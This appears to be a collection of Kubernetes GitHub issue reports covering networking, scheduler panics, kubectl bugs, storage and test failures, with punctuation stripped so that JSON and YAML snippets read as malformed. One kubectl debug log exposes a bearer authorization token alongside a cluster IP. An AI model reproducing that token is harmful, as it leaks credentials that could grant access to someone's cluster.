352193f6-5871-11e7-a01f-fa163ee1f782   cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1298.7.0\r version_id=1298.7.0\r build_id=2017-03-31-0215\r pretty_name=\ container linux by coreos 1298.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r kube-node-03 352193f6-5871-11e7-a01f-fa163ee1f782   uname -a\r linux kube-node-03.openstacklocal 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel xeon e312xx  sandy bridge  genuineintel gnu/linux\r    \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r \r created a cluster on gce using the cluster/kube-up scripts and calico enabled for networkpolicy.  the ip-masq-agent did not run as expected.\r \r   what you expected to happen  :\r \r the ip-masq-agent daemonset would run on each node providing outbound nat and letting pods access the apiserver and wider internet.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r export network_policy_provider=calico\r ./cluster/kube-up.sh\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r image garbage collector could only be triggered by used disk percentage.\r \r   what you expected to happen  :\r option to trigger image garbage collector by the number of available images.\r \r   anything else we need to know?  :\r the partition used to store the images could be shared with other things, so it is difficult to set a threshold.\r if the partition is big enough, thousands of images could be stored impacting in the response time of docker  we saw 10\  response time to   docker info   with 3.7k images in openshift 3.5 .\r \r the number of images is tightly coupled with the number of containers, not with the available space in a partition.\r \r   environment  :\r - kubernetes version  use  kubectl version  : openshift 3.5 / kubernetes 1.5\r - hardware configuration  : 24 cpus  intel r  xeon r  cpu e5-2640 0 @ 2.50ghz  / 188gb memory\r - os  e.g. from /etc/os-release : rhel 7.3\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r if there are some scheduler errors when i create some pods, i will get some event message as following:\r \r    \r no nodes are available that match all of the following predicates:: matchnodeselector  2 , nodeunderdiskpressure  1 .\r    \r \r people often ask me what does   2   and   1   means in this message, so my proposal is enhance the message a bit as following:\r \r    \r no nodes are available that match all of the following predicates:: matchnodeselector  2 nodes failed , nodeunderdiskpressure  1 node failed .\r    \r \r /cc @kubernetes/sig-scheduling-bugs \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r  sig-release-master-upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel \r \r   failing tests\r    sig apps\r   sig-apps  replicaset-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/3737 \r \r    hpa\r  hpa-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/3737 \r \r   triage results\r  replicaset upgrade  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel&test=replicaset-upgrade \r \r tests failing on sig-release-master-upgrade\r  / /  /milestone v1.12\r /cc @aishsundar @tpepper

running a relatively recent build  a few weeks old, maybe a month .\r \r    \r $ k patch svc hostnames -p '{\ metatdata\ :{\ annotations\ :{\ new\ :\ value\ }}}' --dry-run\r service/hostnames patched  dry run \r \r $ k patch svc hostnames -p '{\ metatdata\ :{\ annotations\ :{\ new\ :\ value\ }}}'\r service/hostnames not patched\r    \r \r running with  --v=10  ends like this:\r \r    \r i0813 10:13:16.280688  251075 request.go:897  request body: {\ metatdata\ :{\ annotations\ :{\ new\ :\ value\ }}}\r i0813 10:13:16.280786  251075 round_trippers.go:386  curl -k -v -xpatch  -h \ accept: application/json\  -h \ content-type: application/strategic-merge-patch+json\  -h \ user-agent: kubectl/v1.12.0  linux/amd64  kubernetes/1d2939e\  -h \ authorization: bearer muokbgotyrhd92tzzmvcdjscubzcwgs2\  'https://35.232.5.185/api/v1/namespaces/default/services/hostnames'\r i0813 10:13:16.322213  251075 round_trippers.go:405  patch https://35.232.5.185/api/v1/namespaces/default/services/hostnames 200 ok in 41 milliseconds\r i0813 10:13:16.322248  251075 round_trippers.go:411  response headers:\r i0813 10:13:16.322257  251075 round_trippers.go:414      date: mon, 13 aug 2018 17:13:16 gmt\r i0813 10:13:16.322265  251075 round_trippers.go:414      content-type: application/json\r i0813 10:13:16.322272  251075 round_trippers.go:414      content-length: 573\r i0813 10:13:16.322311  251075 request.go:897  response body: {\ kind\ :\ service\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ hostnames\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /api/v1/namespaces/default/services/hostnames\ ,\ uid\ :\ 4e3b9ed9-7bc7-11e8-ad42-42010af00002\ ,\ resourceversion\ :\ 10119120\ ,\ creationtimestamp\ :\ 2018-06-29t18:07:37z\ ,\ labels\ :{\ run\ :\ hostnames\ },\ annotations\ :{\ old\ :\ value\ }},\ spec\ :{\ ports\ : {\ protocol\ :\ tcp\ ,\ port\ :80,\ targetport\ :9376,\ nodeport\ :30828} ,\ selector\ :{\ run\ :\ hostnames\ },\ clusterip\ :\ 10.0.212.228\ ,\ type\ :\ nodeport\ ,\ sessionaffinity\ :\ none\ ,\ externaltrafficpolicy\ :\ cluster\ },\ status\ :{\ loadbalancer\ :{}}}\r service/hostnames not patched\r f0813 10:13:16.322550  251075 helpers.go:119  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r we met problem with docker, it's not working well with error \  rpc error: code = 14 desc = grpc: the connection is unavailable\ \r \r   what you expected to happen  :\r in this situation, the docker is not working well, pods scheduled to this node cannot be started, we need avoid schedule pods to the problem node, and the pods scheduled to this node should evicted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it's hard to produce\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : kube-scheduler crashes  panics  in rare circumstances. stack trace:\r \r    \r observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:573\r /usr/local/go/src/runtime/panic.go:502\r /usr/local/go/src/runtime/panic.go:63\r /usr/local/go/src/runtime/signal_unix.go:388\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/cache/node_info.go:386\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:909\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:831\r /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue/parallelizer.go:47\r /usr/local/go/src/runtime/asm_amd64.s:2361\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r \tpanic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x40 pc=0x161223a \r goroutine 44674294  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x107\r panic 0x418ba40, 0x85fd7f0 \r \t/usr/local/go/src/runtime/panic.go:502 +0x229\r k8s.io/kubernetes/pkg/scheduler/cache.  nodeinfo .clone 0x0, 0xc428b44ac0 \r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/cache/node_info.go:386 +0x3a\r k8s.io/kubernetes/pkg/scheduler/core.selectvictimsonnode 0xc42e66c700, 0x60fa9e0, 0xc422c60630, 0x0, 0xc4215a5e00, 0x61505a0, 0xc4201a7ab0, 0xc425744980, 0x5, 0x8, ... \r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:909 +0x7d\r k8s.io/kubernetes/pkg/scheduler/core.selectnodesforpreemption.func1 0xf \r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/core/generic_scheduler.go:831 +0x176\r k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue.parallelize.func1 0xc4300e3c50, 0xc4302c94a0, 0xc429e60380 \r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue/parallelizer.go:47 +0x96\r created by k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue.parallelize\r \t/workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/util/workqueue/parallelizer.go:43 +0x10b\r    \r \r   what you expected to happen  : flawless operation ; \r \r   how to reproduce it  as minimally and precisely as possible   : unclear. the error above looks like it was associated with some cloning of node metadata. perhaps due to a race during node scale-up/scale-down and cache interactions.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r \r when service is set with ilb annotation and empty string subnet, e.g.\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: internal-app\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-internal: \ true\ \r     service.beta.kubernetes.io/azure-load-balancer-internal-subnet: \ \ \r spec:\r   type: loadbalancer\r   ...\r    \r \r the service would be pending forever with following error:\r \r    sh\r network.loadbalancersclient createorupdate: failure sending request: statuscode=0 -- original error: code=\ invalidrequestformat\  message=\ cannot parse the request.\  details= {\ code\ :\ missingjsonreferenceid\ ,\ message\ :\ value for reference id is missing. path properties.frontendipconfigurations 0 .properties.subnet.\ } \r    \r \r   what you expected to happen  :\r \r ilb should be provisioned successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

there should probably not be open-coded lists of volume plugins anywhere in the system.  @saad-ali @markturansky @kubernetes/rh-storage

it seems that this used to work, but something is broken in 1.3.0-beta.2      $ docker run --rm -it gcr.io/google_containers/hyperkube-amd64:v1.2.5 /bin/bash $ /hyperkube kubectl convert running in local mode...          $ docker run --rm -it gcr.io/google_containers/hyperkube-amd64:v1.3.0-beta.2 /bin/bash $ /hyperkube kubectl convert the connection to the server localhost:8080 was refused - did you specify the right host or port?      i've tried specifying the  --local  flag explicitly and various combinations of flags, and it doesn't seem to make any difference.

to avoid mis-operating.  for example, client wants to delete one pv or pvc, but the resource name is blank, this will result to delete all pv or pvc.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-test/130/  failed:  k8s.io  job should run a job to completion when tasks sometimes fail and are not locally restarted {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct 25 00:28:09.244: couldn't delete ns: \ e2e-tests-job-82sx2\ : an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-job-82sx2/configmaps\\\ \   has prevented the request from succeeding  get configmaps   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-job-82sx2/configmaps\\\\\\\ \\\   has prevented the request from succeeding  get configmaps \ , reason:\ internalerror\ , details:  unversioned.statusdetails  0xc82186bb30 , code:500}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338      previous issues for this test:  31498  33896

what keywords did you search in kubernetes issues before filing this one?  \r \r kubectl edit invalid character\r kubectl edit thirdpartyresource\r \r ---\r \r   is this a bug report or feature request?  \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3+coreos.0\ , gitcommit:\ 7819c84f25e8c661321ee80d6b9fa5f4ff06676f\ , gittreestate:\ clean\ , builddate:\ 2016-10-17t21:19:17z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what happened  :\r \r  kubectl edit  of a thirdpartyresource fails then re-enters the editor and adds the following comment:\r \r    \r   the edited file had a syntax error: unable to decode \ edited-file\ : invalid character ' ' looking for beginning of value\r    \r \r   what you expected to happen  :\r \r  kubectl edit  to successfully edit the thirdpartresource object.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r tpr.yaml\r    \r metadata:\r   name: foo-obj.a.example.com\r apiversion: extensions/v1beta1\r kind: thirdpartyresource\r description: \ foo\ \r versions:\r - name: v1\r    \r \r obj.yaml\r    \r metadata:\r   name: foo\r apiversion: a.example.com/v1\r kind: fooobj\r somedata: foo\r    \r \r    \r $ kubectl create -f tpr.yaml\r $ kubectl create -f obj.yaml\r $ kubectl edit fooobj/foo\r    \r

i didn't find this problem being reported, so i apologize for duplicates.\r \r i tried multiple versions of kubernetes 1.4.x and 1.5.1, and they all exhibit the same behavior.\r \r the problem i have is the k8s controller manager seems to be spending a lot of cpu on periodically maintaining deployments than other k8s object types, e.g., replicasets, replication controllers, service endpoints, etc. in my environment, with 2500 deployments, the controller manager is almost saturating a 8-core cpu machine. this cluster has 25 worker nodes. \r \r cc @timothysc

there are a number of issues with godep for dependency management including but not limited to:\r - godep requires packages in your gopath to match the version in your godeps file\r - godep doesn't cache specific versions of the dependencies -- again they have to match what you have in your path\r - there isn't a built in way to verify the deps are up to date -- you need to restore and download and then diff\r \r overall, this creates a barrier to contributors if they haven't used godep. long term, we may want to look at moving to  dep  https://github.com/golang/dep , but it's still in alpha and  won't be released  https://github.com/golang/dep/wiki/roadmap  for awhile.\r \r i wanted to open up a discussion around possibly moving to another vendor dependency solution such as  glide  https://github.com/masterminds/glide . it may help deal with things like vendor caching, pinning at specific versions without destroying your gopath, and the like. what may be complex however is the staging directory and having that vendor correctly with this tool.\r \r does anyone have any thoughts or opinions?\r \r related issues:\r - https://github.com/kubernetes/kubernetes/issues/36770\r - https://github.com/kubernetes/kubernetes/pull/44829\r - https://github.com/kubernetes/kubernetes/pull/44519 issuecomment-294539964\r - https://github.com/kubernetes/kubernetes/issues/25572\r \r cc: @kubernetes/sig-contributor-experience-misc @sttts @thockin @caesarxuchao

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/3529/ failed:  k8s.io  privilegedpod should enable privileged commands {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/privileged.go:56 could not remove dummy1 link: timeout occured expected error:     < errors.errorstring | 0xc4201c6700>: {s: \ timeout occured\ }     timeout occured not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/privileged.go:74

i am using gke 1.9.2, i was tried for rollbacking replicationcontroller, but its getting error, i tried in 1.7,1.8,1.9,1.9.2 , 1.9.4 and 1.10 but same error\r \r hareeshc:kthw hareesh.c$ kubectl get rc -o wide\r name       desired   current   ready     age       containers   images        selector\r my-nginx   2         2         2         37s       nginx        nginx:1.7.9   app=nginx\r $ kubectl rolling-update my-nginx --image=nginx:1.9.1\r created my-nginx-1ccc1d98f1bcdf825b8a24cc28b4626b\r scaling up my-nginx-1ccc1d98f1bcdf825b8a24cc28b4626b from 0 to 2, scaling down my-nginx from 2 to 0  keep 2 pods available, don't exceed 3 pods \r scaling my-nginx-1ccc1d98f1bcdf825b8a24cc28b4626b up to 1\r scaling my-nginx down to 1\r scaling my-nginx-1ccc1d98f1bcdf825b8a24cc28b4626b up to 2\r scaling my-nginx down to 0\r update succeeded. deleting old controller: my-nginx\r renaming my-nginx-1ccc1d98f1bcdf825b8a24cc28b4626b to my-nginx\r replicationcontroller \ my-nginx\  rolling updated\r hareeshc:kthw hareesh.c$ kubectl rolling-update my-nginx --rollback\r error: could not find  to rollback.\r \r see 'kubectl rolling-update -h' for help and examples.

i was running a 1.10 cluster on gcp  centos-7  with a gcp nlb pointing to an ingress controller running as a pod but listening on hostnetwork  2 nodes in the target pool, one pod on each node .  i tried to create a service load balancer to front it, but when i did so the service load balancer ip reported a connection failure ~50% of the time from outside of gcp, even though the newly created target pool for the service load balancer reported a green health check on both nodes.  i tried rotating through and getting other nodes  in case it was a caching issue on the gcp load balancer  but continued to see a roughly 50% success / failure split when accessing the ip from outside of gcp  inside gcp it resolved 100% of the time .\r \r when i swapped the pod from hostnetwork -> podnetwork  removing hostports as well  the service load balancer began returning correctly 100% of the time from outside of gcp.\r \r is there a host level / network level configuration for how gcp service load balancer interacts with a hostnetwork machine  the endpoints for the service were to host ips, not to pod ips  that could cause this?\r \r @kubernetes/sig-network-bugs \r \r @danwinship @dcbw this was the issue i mentioned earlier

hi ,\r i am new to k8s and have a huge confusion on creating hpa for the below query\r we have a prometheus query :  sum jvm_memory_bytes_used{area=\ heap\ }    /  sum jvm_memory_bytes_max{area=\ heap\ }   \r \r problem: need to get that metrics added to prometheus adapter , so custom metrics can check those and we can implement hpa.\r and we are getting those metrics from istio-system prometheus  i dnt know if this information helps \r \r kops version : 1.13.1\r aws :provider

these two tests started failing on 04-04:\r  sig-storage  in-tree volumes  driver: gcepd   testpattern: dynamic pv  ntfs   sig-windows  provisioning should provision storage with defaults\r  sig-storage  in-tree volumes  driver: gcepd   testpattern: dynamic pv  ntfs   sig-windows  provisioning should provision storage with mount options\r \r last passing run: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-windows-gce-poc/1113959622344970241\r first failing run: https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-windows-gce-poc/1113990072266395654\r \r the tests are still passing in the 1.14 test job.\r \r https://testgrid.k8s.io/google-windows windows-prototype&width=20&show-stale-tests=&include-filter-by-regex=provisioning%20should%20provision%20storage%20with\r https://testgrid.k8s.io/google-windows windows-gce&width=20&show-stale-tests=&include-filter-by-regex=provisioning%20should%20provision%20storage%20with

forking from  13650   currently the volume package has a couple different concerns floating around in it: 1.  the  builder  and  cleaner  interfaces deal with setting up and tearing down a volume in a _pod_ and are used by the kubelet when setting up and tearing down pods 2.  the  recycler ,  deleter  and  creator  interfaces deal with the life cycle phases of persistent volumes that are orthogonal to any particular node and are used by the pv controller s   some types handle both concerns:  the  volumeoptions  struct carries information about the selinux context of the volumes directory as is used by volume plugins in the  1  case, and also carries information about persistent volumes in the  2  case.  we should: 1.  distinguish which interfaces are for which concern through naming 2.  determine whether all interfaces need to extend the  volume.plugin  interface 3.  ensure that separate concerns have distinct apis  specific suggestions: 1.  rename  builder  and  cleaner  to  podvolumemounter  and  podvolumeunmounter  2.  rename  creator ,  recycler , and  deleter  to  persistentvolumecreator ,  persistentvolumerecycler , and  persistentvolumedeleter  3.  create a  persistentvolumeplugin  interface that creator, recycler, and delete are tied together with:            go    package volumes        type persistentvolumeplugin interface {        newcreator ...   creator, error         newrecycler ...   recycler, error         newdeleter ...   deleter, error     }        4.  rename  volumeconfig  to  persistentvolumeconfig   it only carries info for  persistentvolumeplugin   5.  create a separate  persistentvolumeoptions  for use with the pv api.  @saad-ali @vishh @markturansky @thockin

is this a request for help?   nope.       what keywords did you search in kubernetes issues before filing this one?   ip route and read every match subject    is this a bug report or feature request?    choose one : feature request  please permit injecting custom routes into the master and minions.  why, you might ask?  in aws the routes objects only apply to the vpc routers; the dhcp option set's objects are limited to a small list of dhcp options, in particular the route option is missing. this means that to configure custom routes -  e.g. to direct some but not all outbound traffic to a nat gateway  useful for some ip-locked apis  - a config management approach needs to be used.  this seems related to, but distinct from, https://github.com/kubernetes/kubernetes/issues/23478 - though if you considered it just another feature request there that would be understandable : . we're working up a patch set at the moment to do this  needs must , but having some guidance - e.g. grains vs pillars, and if there's a preferred way to inject this into the grains.conf files - should we use new adjacent fails, or the existing grains.conf, or ... - that sort of feedback would be most excellent.    kubernetes version    use  kubectl version  :   client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.1.900+d5bde66e80f8c4-dirty\ , gitcommit:\ d5bde66e80f8c405201b3dd6e50a1fb669300d2f\ , gittreestate:\ dirty\ , builddate:\ 2016-09-16t05:01:27z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:21:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    how to reproduce it    as minimally and precisely as possible :

we use kubernetes 1.4.1.  if we set containers' restart policy to   always   or   onfailure    and kubelet fails to pull image for some reason e.g. permission denied to pull the image, or disk is full ,  kubelet will always try to pull the image. it can be expected that kubelet will fail to pull the image again and again as following.  <pre> events:   firstseen lastseen    count   from                subobjectpath           type        reason          message   --------- --------    -----   ----                -------------           --------    ------          -------   3m        3m      1   {default-scheduler }                        normal      scheduled       successfully assigned testquota-780062042-tbnts to tbds-10-149-27-114   3m        3m      4   {kubelet tbds-10-149-27-114}                    warning     missingclusterdns   kubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to dnsdefault policy.   3m        57s     5   {kubelet tbds-10-149-27-114}    spec.containers{helloquota} normal      pulling         pulling image \ my-registry.com/gcloud/demo:latest\    3m        57s     5   {kubelet tbds-10-149-27-114}    spec.containers{helloquota} warning     failed          failed to pull image \ my-registry.com/gcloud/demo:latest\ : image pull failed for my-registry.com/gcloud/demo:latest, this may be because there are no credentials on this request.  details:  unauthorized: authentication required    3m        57s     5   {kubelet tbds-10-149-27-114}                    warning     failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ helloquota\  with errimagepull: \ image pull failed for my-registry.com/gcloud/demo:latest, this may be because there are no credentials on this request.  details:  unauthorized: authentication required \     3m    2s  18  {kubelet tbds-10-149-27-114}    spec.containers{helloquota} normal  backoff     back-off pulling image \ my-registry.com/gcloud/demo:latest\    3m    2s  18  {kubelet tbds-10-149-27-114}                    warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ helloquota\  with imagepullbackoff: \ back-off pulling image \\\ my-registry.com/gcloud/demo:latest\\\ \  </pre>   i think for this case we could reschedule the pod to another kubelet on another machine. it could avoid unnecessary retry, and the pod could get running as soon as possible.

i am getting following error for my service: \ cannot create an external load balancer with mix protocols\   here is my service file: {     \ kind\ : \ service\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ test\      },     \ spec\ : {         \ selector\ : {             \ app\ : \ test\          },         \ type\ : \ loadbalancer\ ,         \ ports\ :               {                 \ name\ : \ mod1\ ,                 \ protocol\ : \ tcp\ ,                 \ port\ : 4001,                 \ targetport\ : 4001             },             {                 \ name\ : \ mod2\ ,                 \ protocol\ : \ tcp\ ,                 \ port\ : 5100,                 \ targetport\ : 5100             },             {                 \ name\ : \ mod3\ ,                 \ protocol\ : \ udp\ ,                 \ port\ : 4001,                 \ targetport\ : 4001             }               } }

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2346/ failed:  k8s.io  probing container should  not  be restarted with a exec \ cat /tmp/health\  liveness probe  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:149 mar  4 16:26:31.023: pod e2e-tests-container-probe-pjs7p/liveness-exec - expected number of restarts: 0, found restarts: 1 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/container_probe.go:404       previous issues for this test:  32267

new kubectl plugin loader introduced by https://github.com/kubernetes/kubernetes/pull/37499 does not check  walkerr  before deref'ing  fileinfo .  this occurs if the plugins directory does not exist or the user running  kubectl  doesn't have permission on the plugin directory.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/plugins/loader.go l70\r \r @derekwaynecarr @fabianofranz \r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x20 pc=0x19fbf06 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/plugins.  directorypluginloader .load.func1 0xc420cf2150, 0x2b, 0x0, 0x0, 0x2ba3020, 0xc420cf21b0, 0x0, 0x0 \r \t/home/sjennings/projects/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/plugins/loader.go:70 +0x46\r path/filepath.walk 0xc420cf2090, 0x22, 0x2bbc940, 0xc420cee410, 0xc42030e140, 0x0, 0x0 \r \t/usr/local/go/src/path/filepath/path.go:372 +0x2fe\r path/filepath.walk 0xc42028a150, 0xe, 0x2bbc940, 0xc420958000, 0xc42030e140, 0x0, 0x0 \r \t/usr/local/go/src/path/filepath/path.go:376 +0x414\r path/filepath.walk 0x1ed8c58, 0xa, 0x2bbc940, 0xc42083dba0, 0xc42030e140, 0x0, 0x10 \r \t/usr/local/go/src/path/filepath/path.go:376 +0x414\r 